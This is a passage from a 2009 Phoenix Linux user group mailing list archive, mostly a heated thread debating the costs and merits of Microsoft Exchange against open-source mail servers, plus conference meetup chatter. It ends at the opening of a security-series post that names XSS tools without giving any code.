near as much to the party as exchange/outlook?  If you have one I would
really, really, love to try it out!  But I have not found one.  Certainly
Cyrus is not it.  And for cost I can put an exchange system in for a 70
person office with all the clients and servers licensed from scratch with AD
and everything, including the server and my time to set it up for less then
$1500.  In addition each users outlook costs only $40 and that also includes
all the other MS bundled stuff we have not talked about (Share point, etc.).
And while there are far better solutions for nearly all of it (especially MS
SQL Server) Tell me now.  Can you purchase a server, provide a integrated
collaborative PIM suite in a single interface providing mail, contacts,
basic CRM, takes, notes, and journal com tracking for the same price?  If so
I really would like to see it because I have bee hunting for this for almost
10 years!  I hold fast that Exchange is one of very, very few MS products
that has a very high ROI.  And, have you every had to integrate a BES with
something other then Exchange?  Or are you some one who has never managed
more then a handful of mobile devices.

Now if you're a single person or a company of 5 it is stupid to implement
exchange. Use Google.  If you're a fleet of sales people who never talk to
each other and have an independent sales management application, then again,
Exchange is not your option, but for most small campus based businesses that
employ a group of average people who need to communicate easily with their
teams exchange is your answer.  In the real world your business needs and
the bottom line dictate the solution, not your personal feelings.  And time
and time again, for medium business after medi

Re: OT:Exchange good? - And the flame wars begin (Was:Re: new hotness?)

[Stephen P Rufle]

Would it be fair to say that MS keeps just enough of exchange or its
communication methods secret so that it is hard for others (OSS
projects) to create the same seamless integration available using the MS
native programs without buying a license for the secret technology .

It seems that the $1500 price makes it a great short term investment.
Then there is a constant pull to just use a ms solution because it plugs
in nicely.I see that as being what grates on folks.

Sort of related I heard that upcoming Samba 4 will be able to act as an
AD server will that continue to help with penetration into the
enterprise market?
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Re: OT:Exchange good? - And the flame wars begin (Was:Re: new hotness?)

[Eric Cope]

I too am interested in a FOSS version of Exchange, so if anyone has any
recommendations, I am all ears.

Eric

On Fri, Feb 20, 2009 at 2:28 PM, Bryan O'Neal wrote:

> Craig, I think you are missing the point.  So, not to call you out on the
> carpet here but have you ever managed a large enterprise?  If so could you
> please explain your ideal concept of how you manage to keep productivity
> high and cost low without use of any non-free or non-open products?  Take
> Asterisk for example.  I love it but the total cost of ownership is
> outrageously high in comparison to systems like Avaya and ShoreTel.  And
> that is without the incredible ease of integration of systems like ShoreTel
> have with outlook. You bag on Exchange but offer no comparative substitute.
> You complain about the fact it uses AD and how much it costs even though it
> is included free in several flavors of Exchange distribution.  You complain
> about mailbox implementation but seem to think it is the only DB your
> company would be running.  How do you back up your Oracle, MySQL, DB2, or
> Postges systems?  And again with the scanning, it provides it's own free
> scanning system, however it is idiotic to be dinging the bulk of your spam
> scanning on the mail server.  By the time it reaches your server the cost
> of
> resources expended to handle it far outweigh the cost of third party
> scanning.  And the fact that Third party AV scans can be integrated easily
> is not a bad thing, saying so is like saying postfix sucks because you can
> use spamassisen and calmav.  In fact I can use clamAV but it does not
> provide the same level of service for the same maintenance cost of better
> products like Avast.  That said you say the only client is outlook, so my
> question is what server/client system do you have that provides anywhere
> near as much to the party as exchange/outlook?  If you have one I would
> really, really, love to try it out!  But I have not found one.  Certainly
> Cyrus is not it.  And for cost I can put an exchange system in for a 70
> person office with all the clients and servers licensed from scratch with
> AD
> and everything, including the server and my time to set it up for less then
> $1500.  In addition each users outlook costs only $40 and that also
> includes
> all the other MS bundled stuff we have not talked about (Share point,
> etc.).
> And while there are far better solutions for nearly all of it (especially
> MS
> SQL Server) Tell me now.  Can you purchase a server, provide a integrated
> collaborative PIM suite in a single interface providing mail, contacts,
> basic CRM, takes, notes, and journal com tracking for the same price?  If
> so
> I really would like to see it because I have bee hunting for this for
> almost
> 10 years!  I hold fast that Exchange is one of very, very few MS products
> that has a very high ROI.  And, have you every had to integrate a BES with
> something other then Exchange?  Or are you some one who has never managed
> more then a handful of mobile devices.
>
> Now if you're a single person or a company of 5 it is stupid to implement
> exchange. Use Google.  If you're a fleet of sales people who never talk to
> each other and have an independent sales management application, then
> again,
> Exchange is not your option, but for most small campus based businesses
> that
> employ a group of average people who need to communicate easily with their
> teams exchange is your answer.  In the real world your business needs and
> the bottom line dictate the solution, not your personal feelings.  And time
> and time again, for medium business after medium business, Exchange has
> provided.  If you really want we can conger up an average small company
> prototype and each deliver a robust communications plan.  But I think your
> average CFP will pick the exchange plan every time.
>
> And yes one of my three home computers is MS, and yes I run outlook on it
> (Evolution and thunderbird on the other two)  But Outlook is my primary
> PIM.
>
> I find on lists like this I have the fringe voice of pay/proprietary
> software, just like in the business world I am the fringe voice of free and
> open source.  So, I get flamed from both sides.
>
> -Original Message-
> From: plug-discuss-boun...@lists.plug.phoenix.az.us
> [mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Craig
> White
> Sent: Friday, February 20, 2009 10:24 AM
> To: Main PLUG discussion list
> Subject: RE: OT:Exchange good? (Was:Re: new hotness?)
>
> On Fri, 2009-02-20 at 09:45 -0700, Bryan O'Neal wrote:
> >  I disagree... Mostly.
> > > - Tough to backup
> > Like any database it needs to be shut down for standard file backups
> > to work properly.  This can be done via a simple script and is not a real
> issue.
> > However the use of back up programs like BackupExec make it a breeze
> > to back up and restore.  However I will agree that if you never had to
> > deal with it before and you don't have much space a

RE: OT:Exchange good? (Was:Re: new hotness?)

[Bryan O'Neal]

Agreed, for larger companies ( I would even say over 500 users) the disk IO
can brutal.  Especially since it writes every message or change to the store
before scanning for discard.  Which is another reason why $500/year for off
site spam scanning is a must. Also remember it is handling much more then
just your mail.  That and you can split it up so the actual mail box stores
reside on faster disks with and mirrored to a more robust raid.  Then again
I have seen some very nice hybrid drives and well cached raid controllers
produce phenomenal results for very little coin.  The triad off some a
company that size is quite good.  Remember I did the bulk of my exchange
work for a company with less then 75 people and a monthly cash flow of
~$10Mill so the $250K/year IT budget they tossed me was nothing.  Especially
since I maintained a 300% ROI on had documented savings and value
generation.  I could not have done this if I had forced everyone onto
cyrus-imapd for all communications ;)



-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Stephen
Sent: Friday, February 20, 2009 11:21 AM
To: Main PLUG discussion list
Subject: Re: OT:Exchange good? (Was:Re: new hotness?)

I know the 2 bugaboos for excahnge in requirements is Disk IO for large
companies, (not as much an issue in a small sub 1000 users
company) and ram. exchange up to 2003 is a 4gb of ram beastie.

im not sure about the mailbox recovery, but i know it can run on ESXi vm as
long as you have 2 cores and 4gb of ram to give it. we are getting ready to
convert ours to a Virtual machine ill let ppl know the results if they want.

Also excahgne 2007  is fully 64 bit and VM supported as well. we are hoping
to deploy that and migrate soon

but for mailbox recovery im not sure what has changed but i know alot has.
but it is better than it has been in the past (comparing 5.5 to
2k3 personally)

On Fri, Feb 20, 2009 at 11:13 AM, Bob Elzer  wrote:
> Well I haven't used the latest exchange and it's been a while, so 
> maybe you can tell me if they worked around the issues I had with it.
>
> It requires it's own server. On a single core server, it bogged the 
> system down so much, we couldn't run other apps. (granted it's 
> probably best to do that, but when you don't have the budget for it, 
> you have to do)
>
> There's no way to look at the raw email message on the server. Or go 
> through all the mail boxes.
>
> Recovery requires a second machine. From what I remember it was 
> convoluted, but you need a second box.
>
>
> -Original Message-
> From: plug-discuss-boun...@lists.plug.phoenix.az.us
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RE: OT:Exchange good? (Was:Re: new hotness?)

[Bryan O'Neal]

I ran it integrated on the same machine as the AD server (which was duel
core mid range Power Edge 1600 IIRC).  Supposedly I should have run it on
its own box because it slows down the AD controller but it met my needs and
worked great. The only complaint I had was that exchange would act slow for
a particular user when that user was doing something like searching for a
specific string somewhere in the 120,000 message the user maintained their
inbox. I could have solved this by turning on server side message indexing,
but the resource cost was too high for the benefit it returned. To that note
exchange can be a bit of a system hog but not bad.  I ran three application
servers and a BES off the same box.  Exchange offered me a way to split the
work load amongst several front and back end exchange servers that were
dedicated to just exchange, but that was extreme overkill for 60-70 users.
As for raw email, what do you mean?  I could look as raw msg files including
all the header and routing information for any item in any mail box.  In
fact I could do this either through their DB tools or in drive/file fashion
where the mail boxes and sub folders are listed as directories and the
individual mail items were simple message files.  As for recovery, I can
recover and mount any mail box I want, even duplicates (as long as the
system identifiers were changed) on one box.  However if you looking for
recovery from a catastrophic failure I just needed a box.  However, the down
side was that it was heavily integrated with AD.  Which was very, very nice
for management.  But if you lost your AD (all AD servers) you could only
recover the individuals mail, calendar, contacts, task, and note items.  The
individuals processing rules, custom alerts, etc. are all tied to a system
ID.  But since I don't know any other system where users can set all this up
on the server in a sand boxed format I did not see this as a drawback since
other system did not offer this feature.  In addition I backed up my AD the
same as Exchange and everything else, so if I had a raw box I could recover
everything no questions asked.

I remember exchange back in the NT 4 days and it was a weird black art, but
since 2003 Sp2 it is very nice.

-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Bob
Elzer
Sent: Friday, February 20, 2009 11:14 AM
To: 'Main PLUG discussion list'
Subject: RE: OT:Exchange good? (Was:Re: new hotness?)

Well I haven't used the latest exchange and it's been a while, so maybe you
can tell me if they worked around the issues I had with it.

It requires it's own server. On a single core server, it bogged the system
down so much, we couldn't run other apps. (granted it's probably best to do
that, but when you don't have the budget for it, you have to do)

There's no way to look at the raw email message on the server. Or go through
all the mail boxes.

Recovery requires a second machine. From what I remember it was convoluted,
but you need a second box.


-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Bryan
O'Neal
Sent: Friday, February 20, 2009 9:45 AM
To: 'Main PLUG discussion list'
Subject: RE: OT:Exchange good? (Was:Re: new hotness?)

 
I disagree... Mostly.
> - Tough to backup
Like any database it needs to be shut down for standard file backups to work
properly.  This can be done via a simple script and is not a real issue.
However the use of back up programs like BackupExec make it a breeze to back
up and restore.  However I will agree that if you never had to deal with it
before and you don't have much space and you don't have something like
Backup Exec it can be daunting to figure out how to get regular backups
working.  That said I also like to run all the clients so they keep a copy
of all activity locally.  Not only does this speed up the clients but it
also ensures that if the server suddenly went belly up and the last backup I
had was 10 or 12 hours old (if I was using a file backup system) I could
restore everything up to the minuet for people who had their clients
running.  If I thought it was worth the time I would have liked to
virtualizes the exchange server and take regular snap shots of it throughout
the day. However other projects provided a greater return for the time
invested so I never got around to it.
> - Costly to integrate spyware, anti-virus and other content scanning
I never had any issues and must totally disagree. I have always used the
scanning built into exchange. This has been quite a nice feature since
Exchange 2003 SP2 which is quite good at controlling spam, viruses, and
generally enforcing corporate policies.  However, for less then $500 a year
you can get a third party to spam scan all of your email before it ever hits
your server.  If nothing else this pays for it's self in saved bandwidth.
If you a

RE: OT:Exchange good? - And the flame wars begin (Was:Re: new hotness?)

[Bryan O'Neal]

Craig, I think you are missing the point.  So, not to call you out on the
carpet here but have you ever managed a large enterprise?  If so could you
please explain your ideal concept of how you manage to keep productivity
high and cost low without use of any non-free or non-open products?  Take
Asterisk for example.  I love it but the total cost of ownership is
outrageously high in comparison to systems like Avaya and ShoreTel.  And
that is without the incredible ease of integration of systems like ShoreTel
have with outlook. You bag on Exchange but offer no comparative substitute.
You complain about the fact it uses AD and how much it costs even though it
is included free in several flavors of Exchange distribution.  You complain
about mailbox implementation but seem to think it is the only DB your
company would be running.  How do you back up your Oracle, MySQL, DB2, or
Postges systems?  And again with the scanning, it provides it's own free
scanning system, however it is idiotic to be dinging the bulk of your spam
scanning on the mail server.  By the time it reaches your server the cost of
resources expended to handle it far outweigh the cost of third party
scanning.  And the fact that Third party AV scans can be integrated easily
is not a bad thing, saying so is like saying postfix sucks because you can
use spamassisen and calmav.  In fact I can use clamAV but it does not
provide the same level of service for the same maintenance cost of better
products like Avast.  That said you say the only client is outlook, so my
question is what server/client system do you have that provides anywhere
near as much to the party as exchange/outlook?  If you have one I would
really, really, love to try it out!  But I have not found one.  Certainly
Cyrus is not it.  And for cost I can put an exchange system in for a 70
person office with all the clients and servers licensed from scratch with AD
and everything, including the server and my time to set it up for less then
$1500.  In addition each users outlook costs only $40 and that also includes
all the other MS bundled stuff we have not talked about (Share point, etc.).
And while there are far better solutions for nearly all of it (especially MS
SQL Server) Tell me now.  Can you purchase a server, provide a integrated
collaborative PIM suite in a single interface providing mail, contacts,
basic CRM, takes, notes, and journal com tracking for the same price?  If so
I really would like to see it because I have bee hunting for this for almost
10 years!  I hold fast that Exchange is one of very, very few MS products
that has a very high ROI.  And, have you every had to integrate a BES with
something other then Exchange?  Or are you some one who has never managed
more then a handful of mobile devices.

Now if you're a single person or a company of 5 it is stupid to implement
exchange. Use Google.  If you're a fleet of sales people who never talk to
each other and have an independent sales management application, then again,
Exchange is not your option, but for most small campus based businesses that
employ a group of average people who need to communicate easily with their
teams exchange is your answer.  In the real world your business needs and
the bottom line dictate the solution, not your personal feelings.  And time
and time again, for medium business after medium business, Exchange has
provided.  If you really want we can conger up an average small company
prototype and each deliver a robust communications plan.  But I think your
average CFP will pick the exchange plan every time.

And yes one of my three home computers is MS, and yes I run outlook on it
(Evolution and thunderbird on the other two)  But Outlook is my primary PIM.

I find on lists like this I have the fringe voice of pay/proprietary
software, just like in the business world I am the fringe voice of free and
open source.  So, I get flamed from both sides.  

-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Craig
White
Sent: Friday, February 20, 2009 10:24 AM
To: Main PLUG discussion list
Subject: RE: OT:Exchange good? (Was:Re: new hotness?)

On Fri, 2009-02-20 at 09:45 -0700, Bryan O'Neal wrote:
>  I disagree... Mostly.
> > - Tough to backup
> Like any database it needs to be shut down for standard file backups 
> to work properly.  This can be done via a simple script and is not a real
issue.
> However the use of back up programs like BackupExec make it a breeze 
> to back up and restore.  However I will agree that if you never had to 
> deal with it before and you don't have much space and you don't have 
> something like Backup Exec it can be daunting to figure out how to get 
> regular backups working.  That said I also like to run all the clients 
> so they keep a copy of all activity locally.  Not only does this speed 
> up the clients but it also ensures that if the server suddenly went 
> belly up an

RE: DeLUG One has arrived at the Westin.

[Bob Elzer]

Ooh, Ooh,  send us a live feed :-)
 

  _  

From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Lisa
Kachold
Sent: Friday, February 20, 2009 12:44 PM
To: plug-discuss@lists.plug.phoenix.az.us; huerta...@gmail.com
Subject: RE: DeLUG One has arrived at the Westin.


Podcast it for us lusers stuck in Phoenix?

obnosis.com   | wiki.obnosis.com
 | (503)754-4452
PLUG   HACKFESTS   2nd
Saturday Each mo...@noon - 3PM

  _  

Date: Fri, 20 Feb 2009 10:33:22 -0700
Subject: Re: DeLUG One has arrived at the Westin.
From: sharksc...@gmail.com
To: huerta...@gmail.com; plug-discuss@lists.plug.phoenix.az.us

Look for Hans at the LOSA booth, there are at minimum several of us here. 


On Fri, Feb 20, 2009 at 9:32 AM,  wrote:


Any other PHX peeps here at SCaLE?
Sent from my BlackBerry Smartphone provided by Alltel
---
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-- 
Scott Ruecker,
Editor-in-Chief
LXer Linux News

"The world doesn't need saving. But the word does, and editing is what
fights the good fight."


  _  

Windows LiveT: E-mail. Chat. Share. Get more ways to connect. Check it out.
  
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RE: DeLUG One has arrived at the Westin.

[Lisa Kachold]

Podcast it for us lusers stuck in Phoenix?

obnosis.com | wiki.obnosis.com| (503)754-4452
PLUG HACKFESTS 2nd Saturday Each mo...@noon - 3PM
Date: Fri, 20 Feb 2009 10:33:22 -0700
Subject: Re: DeLUG One has arrived at the Westin.
From: sharksc...@gmail.com
To: huerta...@gmail.com; plug-discuss@lists.plug.phoenix.az.us

Look for Hans at the LOSA booth, there are at minimum several of us here. 

On Fri, Feb 20, 2009 at 9:32 AM,   wrote:

Any other PHX peeps here at SCaLE?

Sent from my BlackBerry Smartphone provided by Alltel

---

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To subscribe, unsubscribe, or to change your mail settings:

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-- 
Scott Ruecker,
Editor-in-Chief
LXer Linux News

"The world doesn't need saving. But the word does, and editing is what fights 
the good fight."

_
Windows Live™: E-mail. Chat. Share. Get more ways to connect. 
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RE: OT:Exchange good? (Was:Re: new hotness?)

[Bob Elzer]

Exchange works and for now it probably has the best calendar app. But MS
designed it to only work with it's own relatives, It was not designed to
play nice with the rest of the kids on the block.

But the kids on the block, adjusted to play with MS.

When you are done adding up, all the things you need to run an exchange
server, it's just too costly, money and resources. 

There are so many other choices, that don't require all that special stuff,
and in some cases, they may take a little more effort to make them play with
MS, but in the end the money and resources are a lot less, and it works with
everybody.

Also when you talk about adding VM's, that solution works for everything,
not just exchange, so when comparing mail systems that shouldn't be
included.

One thing, I think that has been overlooked, and I don't know if it's ever
been done, is a mail server benchmark.

I'd be interested in knowing, the difference between the mail server, how
much disk space does the mail message take up when stored on the system, how
many messages can they handle per minute, how much load on the cpu do they
each take. I'm sure there are more question too.




-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Stephen
Sent: Friday, February 20, 2009 11:21 AM
To: Main PLUG discussion list
Subject: Re: OT:Exchange good? (Was:Re: new hotness?)

I know the 2 bugaboos for excahnge in requirements is Disk IO for large
companies, (not as much an issue in a small sub 1000 users
company) and ram. exchange up to 2003 is a 4gb of ram beastie.

im not sure about the mailbox recovery, but i know it can run on ESXi vm as
long as you have 2 cores and 4gb of ram to give it. we are getting ready to
convert ours to a Virtual machine ill let ppl know the results if they want.

Also excahgne 2007  is fully 64 bit and VM supported as well. we are hoping
to deploy that and migrate soon

but for mailbox recovery im not sure what has changed but i know alot has.
but it is better than it has been in the past (comparing 5.5 to
2k3 personally)

On Fri, Feb 20, 2009 at 11:13 AM, Bob Elzer  wrote:
> Well I haven't used the latest exchange and it's been a while, so 
> maybe you can tell me if they worked around the issues I had with it.
>
> It requires it's own server. On a single core server, it bogged the 
> system down so much, we couldn't run other apps. (granted it's 
> probably best to do that, but when you don't have the budget for it, 
> you have to do)
>
> There's no way to look at the raw email message on the server. Or go 
> through all the mail boxes.
>
> Recovery requires a second machine. From what I remember it was 
> convoluted, but you need a second box.
>
>
> -Original Message-
> From: plug-discuss-boun...@lists.plug.phoenix.az.us
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Re: OT:Exchange good? (Was:Re: new hotness?)

[Stephen]

I know the 2 bugaboos for excahnge in requirements is Disk IO for
large companies, (not as much an issue in a small sub 1000 users
company) and ram. exchange up to 2003 is a 4gb of ram beastie.

im not sure about the mailbox recovery, but i know it can run on ESXi
vm as long as you have 2 cores and 4gb of ram to give it. we are
getting ready to convert ours to a Virtual machine ill let ppl know
the results if they want.

Also excahgne 2007  is fully 64 bit and VM supported as well. we are
hoping to deploy that and migrate soon

but for mailbox recovery im not sure what has changed but i know alot
has. but it is better than it has been in the past (comparing 5.5 to
2k3 personally)

On Fri, Feb 20, 2009 at 11:13 AM, Bob Elzer  wrote:
> Well I haven't used the latest exchange and it's been a while, so maybe you
> can tell me if they worked around the issues I had with it.
>
> It requires it's own server. On a single core server, it bogged the system
> down so much, we couldn't run other apps. (granted it's probably best to do
> that, but when you don't have the budget for it, you have to do)
>
> There's no way to look at the raw email message on the server. Or go through
> all the mail boxes.
>
> Recovery requires a second machine. From what I remember it was convoluted,
> but you need a second box.
>
>
> -Original Message-
> From: plug-discuss-boun...@lists.plug.phoenix.az.us
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RE: OT:Exchange good? (Was:Re: new hotness?)

[Bob Elzer]

Well I haven't used the latest exchange and it's been a while, so maybe you
can tell me if they worked around the issues I had with it.

It requires it's own server. On a single core server, it bogged the system
down so much, we couldn't run other apps. (granted it's probably best to do
that, but when you don't have the budget for it, you have to do)

There's no way to look at the raw email message on the server. Or go through
all the mail boxes.

Recovery requires a second machine. From what I remember it was convoluted,
but you need a second box.


-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Bryan
O'Neal
Sent: Friday, February 20, 2009 9:45 AM
To: 'Main PLUG discussion list'
Subject: RE: OT:Exchange good? (Was:Re: new hotness?)

 
I disagree... Mostly.
> - Tough to backup
Like any database it needs to be shut down for standard file backups to work
properly.  This can be done via a simple script and is not a real issue.
However the use of back up programs like BackupExec make it a breeze to back
up and restore.  However I will agree that if you never had to deal with it
before and you don't have much space and you don't have something like
Backup Exec it can be daunting to figure out how to get regular backups
working.  That said I also like to run all the clients so they keep a copy
of all activity locally.  Not only does this speed up the clients but it
also ensures that if the server suddenly went belly up and the last backup I
had was 10 or 12 hours old (if I was using a file backup system) I could
restore everything up to the minuet for people who had their clients
running.  If I thought it was worth the time I would have liked to
virtualizes the exchange server and take regular snap shots of it throughout
the day. However other projects provided a greater return for the time
invested so I never got around to it.
> - Costly to integrate spyware, anti-virus and other content scanning
I never had any issues and must totally disagree. I have always used the
scanning built into exchange. This has been quite a nice feature since
Exchange 2003 SP2 which is quite good at controlling spam, viruses, and
generally enforcing corporate policies.  However, for less then $500 a year
you can get a third party to spam scan all of your email before it ever hits
your server.  If nothing else this pays for it's self in saved bandwidth.
If you are a medium size company initial spam scanning should be done by a
third party, after that Exchange can be tweaked quite easily to help enforce
corporate policies.  In addition integration with products like Avast make
it easy to offer AV/Threat scanning.  After that exchange is easy to set up
for limiting the kinds of files that can be sent or received, how big a
email can be, and even who emails can be sent or received from.  And while I
never did it, I am fairly certain you can do key word scanning as well.
Most of this this can be customized on a per user basses.
- Specialized client software (Outlook)
You can chose what ever client you want, but some features may not be
limited or not available. A fairly good webmail client is provided. You can
use POP and IMAP for any client with regards to your email. With some server
side add-ons colanders can be made available as well and global contacts can
be driven via ldap.  While it is true if you want to use the advanced
features you have to use outlook, but again, I have not found any other
client/sere pair that provides these features, so it is not surprising that
other clients can not use them when connecting to the server.
- Requires AD
Yes.  However this is like saying that it requires an MS server to run so I
really don't see your point.  I can integrate my Linux servers and clients
seamlessly into AD using krb and some people indicate the opposite is also
true.  It is an enterprise mail system designed around collaboration.  If
you don't have an enterprise to collaborate with you probably are not
looking at outlook.  If you believe it ads additional expense look at the
small business edition.  The price for a fully integrated MS environment is
very cheep these days.
- Quirky management interface
Agreed.  But then again I feel the same way about Mac OSX Server.  Each
flavor of server OS has it's quirks and MS is no different.  However I will
agree it is some what poorly documented and takes a bit to get used to. I
did not find it too difficult to learn but it took some learning to perform
a new task.  Similarly if you have not done something in six months it may
take you a bit of poking around to do it again.
- Vender lock
Yes if you don't use Outlook you lose features, but that is like saying if I
don't use the Yugma or Skype client I lose features of their services.  Sure
I may be able to hook up a multi protocol chat client to different IM's but
now I can't do multiple party video conferencing via the AOL IM server if I
d

Re: DeLUG One has arrived at the Westin.

[Sharkscott]

Look for Hans at the LOSA booth, there are at minimum several of us here.

On Fri, Feb 20, 2009 at 9:32 AM,  wrote:

> Any other PHX peeps here at SCaLE?
> Sent from my BlackBerry Smartphone provided by Alltel
> ---
> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us
> To subscribe, unsubscribe, or to change your mail settings:
> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
>



-- 
Scott Ruecker,
Editor-in-Chief
LXer Linux News

"The world doesn't need saving. But the word does, and editing is what
fights the good fight."
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RE: OT:Exchange good? (Was:Re: new hotness?)

[Craig White]

On Fri, 2009-02-20 at 09:45 -0700, Bryan O'Neal wrote:
>  I disagree... Mostly.
> > - Tough to backup
> Like any database it needs to be shut down for standard file backups to work
> properly.  This can be done via a simple script and is not a real issue.
> However the use of back up programs like BackupExec make it a breeze to back
> up and restore.  However I will agree that if you never had to deal with it
> before and you don't have much space and you don't have something like
> Backup Exec it can be daunting to figure out how to get regular backups
> working.  That said I also like to run all the clients so they keep a copy
> of all activity locally.  Not only does this speed up the clients but it
> also ensures that if the server suddenly went belly up and the last backup I
> had was 10 or 12 hours old (if I was using a file backup system) I could
> restore everything up to the minuet for people who had their clients
> running.  If I thought it was worth the time I would have liked to
> virtualizes the exchange server and take regular snap shots of it throughout
> the day. However other projects provided a greater return for the time
> invested so I never got around to it.

this is absurd - once you have used cyrus-imapd and all of the e-mails
are separate files you realize how antiquated and stupid the concept of
an Exchange mail store is. Oh, you can buy programs with Exchange
'agents' to allow you to back up live or you can use some routine to
shut down Exchange to allow a backup but it's clearly a hostile
environment, much like backing up any database.

> > - Costly to integrate spyware, anti-virus and other content scanning
> I never had any issues and must totally disagree. I have always used the
> scanning built into exchange. This has been quite a nice feature since
> Exchange 2003 SP2 which is quite good at controlling spam, viruses, and
> generally enforcing corporate policies.  However, for less then $500 a year
> you can get a third party to spam scan all of your email before it ever hits
> your server.  If nothing else this pays for it's self in saved bandwidth.
> If you are a medium size company initial spam scanning should be done by a
> third party, after that Exchange can be tweaked quite easily to help enforce
> corporate policies.  In addition integration with products like Avast make
> it easy to offer AV/Threat scanning.  After that exchange is easy to set up
> for limiting the kinds of files that can be sent or received, how big a
> email can be, and even who emails can be sent or received from.  And while I
> never did it, I am fairly certain you can do key word scanning as well.
> Most of this this can be customized on a per user basses.

I think you just made my point...buying specialized software add-ons to
perform scanning - and of course, the 'Exchange Server' options.

> - Specialized client software (Outlook)
> You can chose what ever client you want, but some features may not be
> limited or not available. A fairly good webmail client is provided. You can
> use POP and IMAP for any client with regards to your email. With some server
> side add-ons colanders can be made available as well and global contacts can
> be driven via ldap.  While it is true if you want to use the advanced
> features you have to use outlook, but again, I have not found any other
> client/sere pair that provides these features, so it is not surprising that
> other clients can not use them when connecting to the server.

good webmail is easily implemented as are LDAP client applications. OWA
is adequate.

> - Requires AD
> Yes.  However this is like saying that it requires an MS server to run so I
> really don't see your point.  I can integrate my Linux servers and clients
> seamlessly into AD using krb and some people indicate the opposite is also
> true.  It is an enterprise mail system designed around collaboration.  If
> you don't have an enterprise to collaborate with you probably are not
> looking at outlook.  If you believe it ads additional expense look at the
> small business edition.  The price for a fully integrated MS environment is
> very cheep these days.

My point seemed to be rather obvious. You're in for the penny, you're in
for the pound. The issue isn't about whether Linux or Macintosh can
integrate into an AD environment...of course they can.

The issue was about buying in and having AD dictate everything from user
accounts to machine access and all resource management. To use Exchange,
you have no choice other than to go the whole hog...there was no other
options after Exchange 5.5

The simple truth is that Microsoft didn't create the Enterprise
environment nor do they possess the only logical implementation. They
have the marketing muscle and the foresight to create artificial
dependencies to use software to dictate implementation.

Start tossing in curveballs such as IP Telephony integration and it
becomes a major clusterf**k. 

The ultimate issue

RE: OT:Exchange good? (Was:Re: new hotness?)

[Bryan O'Neal]

 
I disagree... Mostly.
> - Tough to backup
Like any database it needs to be shut down for standard file backups to work
properly.  This can be done via a simple script and is not a real issue.
However the use of back up programs like BackupExec make it a breeze to back
up and restore.  However I will agree that if you never had to deal with it
before and you don't have much space and you don't have something like
Backup Exec it can be daunting to figure out how to get regular backups
working.  That said I also like to run all the clients so they keep a copy
of all activity locally.  Not only does this speed up the clients but it
also ensures that if the server suddenly went belly up and the last backup I
had was 10 or 12 hours old (if I was using a file backup system) I could
restore everything up to the minuet for people who had their clients
running.  If I thought it was worth the time I would have liked to
virtualizes the exchange server and take regular snap shots of it throughout
the day. However other projects provided a greater return for the time
invested so I never got around to it.
> - Costly to integrate spyware, anti-virus and other content scanning
I never had any issues and must totally disagree. I have always used the
scanning built into exchange. This has been quite a nice feature since
Exchange 2003 SP2 which is quite good at controlling spam, viruses, and
generally enforcing corporate policies.  However, for less then $500 a year
you can get a third party to spam scan all of your email before it ever hits
your server.  If nothing else this pays for it's self in saved bandwidth.
If you are a medium size company initial spam scanning should be done by a
third party, after that Exchange can be tweaked quite easily to help enforce
corporate policies.  In addition integration with products like Avast make
it easy to offer AV/Threat scanning.  After that exchange is easy to set up
for limiting the kinds of files that can be sent or received, how big a
email can be, and even who emails can be sent or received from.  And while I
never did it, I am fairly certain you can do key word scanning as well.
Most of this this can be customized on a per user basses.
- Specialized client software (Outlook)
You can chose what ever client you want, but some features may not be
limited or not available. A fairly good webmail client is provided. You can
use POP and IMAP for any client with regards to your email. With some server
side add-ons colanders can be made available as well and global contacts can
be driven via ldap.  While it is true if you want to use the advanced
features you have to use outlook, but again, I have not found any other
client/sere pair that provides these features, so it is not surprising that
other clients can not use them when connecting to the server.
- Requires AD
Yes.  However this is like saying that it requires an MS server to run so I
really don't see your point.  I can integrate my Linux servers and clients
seamlessly into AD using krb and some people indicate the opposite is also
true.  It is an enterprise mail system designed around collaboration.  If
you don't have an enterprise to collaborate with you probably are not
looking at outlook.  If you believe it ads additional expense look at the
small business edition.  The price for a fully integrated MS environment is
very cheep these days.
- Quirky management interface
Agreed.  But then again I feel the same way about Mac OSX Server.  Each
flavor of server OS has it's quirks and MS is no different.  However I will
agree it is some what poorly documented and takes a bit to get used to. I
did not find it too difficult to learn but it took some learning to perform
a new task.  Similarly if you have not done something in six months it may
take you a bit of poking around to do it again.
- Vender lock
Yes if you don't use Outlook you lose features, but that is like saying if I
don't use the Yugma or Skype client I lose features of their services.  Sure
I may be able to hook up a multi protocol chat client to different IM's but
now I can't do multiple party video conferencing via the AOL IM server if I
don't use the Mac AOL IM client! That vender lock! :)  The argument is
rather ridicules especially since exchange server comes with unlimited
outlook client licenses (depends on version but basically you get one free
client for every licensed user)
- Outlook Training
True, this is something that generally is believed to lower your TCO.
However, the really advanced features are often unknown to most users.
Despite the fact that my users often complained about not having "something"
that could do X they never took the time to notice Outlook did X the whole
time.  Training should be required for every application I don't care what
OS.  And outlook is not as easy to understand as Evolution, but it is
something that the business world is used to and thus requires less
training.  That said we used to do lunch hour training session regularl

DeLUG One has arrived at the Westin.

[huertanix]

Any other PHX peeps here at SCaLE?
Sent from my BlackBerry Smartphone provided by Alltel
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RE: HackFest Linux Security Series: XSS Gates or "Security is EXPLOIT of TRUST"

[Lisa Kachold]

XSS-Shell and XSS-Tunneling is not OS [Windows/Unix-Linux/BSD/OS X] dependent 
(see the full explanation below) [Thanks for asking]!  

What is important here, rather than assuming that Linux is secure [and Windows 
